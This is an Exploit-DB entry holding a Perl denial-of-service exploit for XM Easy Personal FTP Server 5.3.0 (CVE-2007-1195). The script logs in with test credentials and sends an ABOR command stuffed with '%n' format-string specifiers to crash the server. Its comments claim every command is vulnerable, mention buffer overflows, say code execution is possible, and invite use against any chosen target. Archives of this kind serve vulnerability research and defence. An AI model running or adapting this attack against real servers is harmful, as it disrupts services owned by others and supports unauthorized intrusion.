XM Easy Personal FTP Server 5.30 - 'ABOR' Format String Denial of Service

Author: Umesh Wanve
type: dos
platform: windows
port: 
date_added: 2007-02-27  
date_updated: 2011-04-27  
verified: 1  
codes: OSVDB-33813;CVE-2007-1195  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comXM_Easy_Personal_FTP_Server_5.3.0.exe  

raw file: 3385.pl  

#!/usr/bin/perl -w
#=========================================================================================================
#                XM Easy Personal FTP Server 5.3.0 Multiple vulnerabilities
#                                   By Umesh Wanve
#=========================================================================================================
#
# Vendor: http://www.dxm2008.com/
#
#  Date: 28-02-2007
#
#
# 1) Multiple format string attacks. Every command is vulnerable.
#    With only single % also the server crashes.
#
# 2) Multiple buffer overflow occurs in commands if we fuzz the server( Better way use ur own fuzzer)
#
#
#    Code execution is possbile.
#    This is latest version of FTP server.
#
# ###########################################################################################

use Net::FTP;

(($target = $ARGV[0])) || die "usage:$0 <target> <port>";

my $user = "test";
my $pass = "test";


$exploit_string = "%n" x 10;


print ":: Trying to connect to target system at: $target...\n";

$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not connect: $!";

print "Connected!\n";

$ftp->login($user, $pass) || die "could not login: $!";
print "Logged in!\n";

$ftp->command("ABOR ",$exploit_string);                   # Every command is vulnerable. Use it what u like :)
print "Done!\n";

$ftp->quit;

# milw0rm.com [2007-02-28]